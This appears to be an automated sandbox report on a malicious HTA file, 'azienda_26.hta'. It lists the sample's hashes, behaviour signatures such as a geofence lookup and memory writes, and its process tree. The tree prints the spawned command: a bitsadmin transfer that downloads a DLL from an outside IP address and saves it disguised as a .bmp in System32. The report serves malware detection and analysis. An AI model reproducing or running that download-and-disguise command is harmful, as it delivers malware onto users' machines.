Analysis
- max time kernel
105s - max time network
129s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
07/02/2023, 08:43
Static task
static1
Behavioral task
behavioral1
Sample
azienda_26.hta
Resource
win7-20221111-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
azienda_26.hta
Resource
win10v2004-20221111-en
5 signatures
150 seconds
General
- Target azienda_26.hta
- Size 6KB
- Sample230207-kmk8esae86
- SHA256 18ea38699a473662fa01185ceb4d2ae1a7cedfc324959c4f911de1e41f95b37e
- MD5 dcf4e37b3c0a8b749be2bc9b3317cf54
- SHA1 50eb469bb458aa93a5cc397582e5aa4d6156cb26
- SHA512 ba6289372e62885cf0ef847674b6f63d1d3ba5b0c91faa725d9fb5961603694778a83de6c7b4c2fb0a352f7cd329b603ad051586305b7dbabc014e6ecda455d4
- SSDEEP 96:wQ0BFLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dl96r2:hijU77rIKdn863jMM0OD9+VVF4vx4kuO
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 5 4896 mshta.exe 7 4896 mshta.exe 14 4896 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2656 bitsadmin.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4896 wrote to memory of 2656 4896 mshta.exe 82 PID 4896 wrote to memory of 2656 4896 mshta.exe 82 PID 4896 wrote to memory of 2656 4896 mshta.exe 82
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_26.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.2/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp2⤵
- Download via BitsAdmin
PID:2656
-